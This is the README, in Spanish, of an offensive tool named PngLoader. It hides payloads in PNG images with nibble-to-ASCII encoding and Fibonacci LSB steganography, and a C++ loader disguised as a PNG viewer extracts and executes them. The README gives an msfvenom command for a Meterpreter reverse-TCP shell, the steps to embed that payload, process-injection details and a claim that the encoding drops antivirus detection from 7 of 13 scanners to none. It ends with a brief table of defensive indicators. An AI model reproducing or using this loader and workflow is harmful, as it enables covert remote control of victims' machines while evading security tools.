
Oculta payloads arbitrarios en imágenes PNG mediante codificación de nibble a ASCII y esteganografía LSB de Fibonacci, con un loader en C++ que extrae y ejecuta los datos incrustados.
Descargo de responsabilidad: Este proyecto es únicamente para investigación educativa y de seguridad autorizada — pruebas de penetración, competiciones CTF, ejercicios de red team y estudio académico. No lo utilices contra sistemas sin autorización escrita explícita.
PngLoader oculta datos arbitrarios dentro de imágenes PNG usando dos capas:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Cada byte se divide en dos nibbles de 4 bits. Cada nibble se asigna a un carácter ASCII imprimible sumando una base aleatoria (48, 64 o 96):
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Decodificación utiliza la propiedad módulo-16 — las tres bases son múltiplos de 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
La selección de base aleatoria significa que la misma entrada produce una salida diferente cada vez, pero la decodificación siempre es determinista.
| Base | Rango | Caracteres |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
Los bytes de la carga útil se colocan en índices de píxeles siguiendo la secuencia de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sobre el arreglo aplanado de píxeles. Esto distribuye las modificaciones a lo largo de la imagen en lugar de agruparlas.
Empaquetado de bits — cada byte se divide 3/3/2 entre los LSB de RGB:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Wrapping — cuando los índices de Fibonacci superan el número de píxeles, se envuelven mediante módulo. Las colisiones se resuelven mediante sondeo lineal. Un terminador 0x00 marca el fin de los datos.
| Tamaño de imagen | Píxeles | Capacidad limpia |
|---|---|---|
| 640×480 | 307,200 | ~27 bytes |
| 1920×1080 | 2,073,600 | ~31 bytes |
| 4000×3000 | 12M | ~35 bytes |
Con el wrapping habilitado, la capacidad máxima = total_pixels − 1.
El loader en C++ (loader_png.cpp) actúa como un visor de PNG legítimo:
UtilDecryptFileQuoted() (reversión mod-16)La secuencia de Fibonacci es solo un enfoque. Otras estrategias de selección de píxeles ofrecen diferentes compensaciones entre capacidad y seguridad:
| Algoritmo | Capacidad limpia (1080p) | Clave compartida | Dispersión | Coste |
|---|---|---|---|---|
| Fibonacci (implementado) | ~31 bytes | No | Huecos exponenciales | Mínimo |
| Prime-Index | ~150K bytes | No | Huecos n·ln(n) | Moderado |
| LFSR | ~2M bytes | Sí (semilla) | Pseudoaleatorio | Mínimo |
| Keyed Permutation | ~2M bytes | Sí (clave) | Criptográfico | Alto |
| Hilbert Curve | Dependiente del stride | No | Espacialmente uniforme | Moderado |
| Golden Ratio (Weyl) | ~2M bytes | No | Baja discrepancia | Mínimo |
Prime-Index — Los índices de píxeles son números primos (2, 3, 5, 7, 11…). Los primos crecen como n·ln(n), lo que proporciona una capacidad limpia mucho mayor que Fibonacci.
LFSR — Un registro de desplazamiento con retroalimentación lineal de longitud máxima produce una permutación pseudoaleatoria. La semilla actúa como un secreto compartido. Cero colisiones durante el período completo.
Keyed Permutation (Fisher-Yates) — Una mezcla de todos los índices de píxeles sembrada con un CSPRNG. Las posiciones son indistinguibles de aleatorias sin la clave.
Hilbert Curve — Recorre los píxeles a lo largo de una curva de relleno espacial con un stride. Distribuye los cambios de manera uniforme por el área bidimensional de la imagen.
Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produce la distribución 1D más uniforme posible. Trivial de calcular.
Carga útil sin procesar — 7/13 escáneres la detectan:

Tras la codificación — 0/13 escáneres la detectan:

Para equipos defensivos / blue-team:
| Capa | Indicador |
|---|---|
| Estático | Importaciones: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Imagen | El estegoanálisis chi-cuadrado sobre los planos LSB detecta modificaciones |
| Conductual | Creación de procesos suspendidos + inyección de hilos remotos (Sysmon EID 1+8) |
| Codificación | Caracteres exclusivamente de tres rangos ASCII de 16 caracteres |
Python:
pip install numpy Pillow
Cargador de C++:
1.Loader/Loader_png.vcxproj → Compilar en Release x64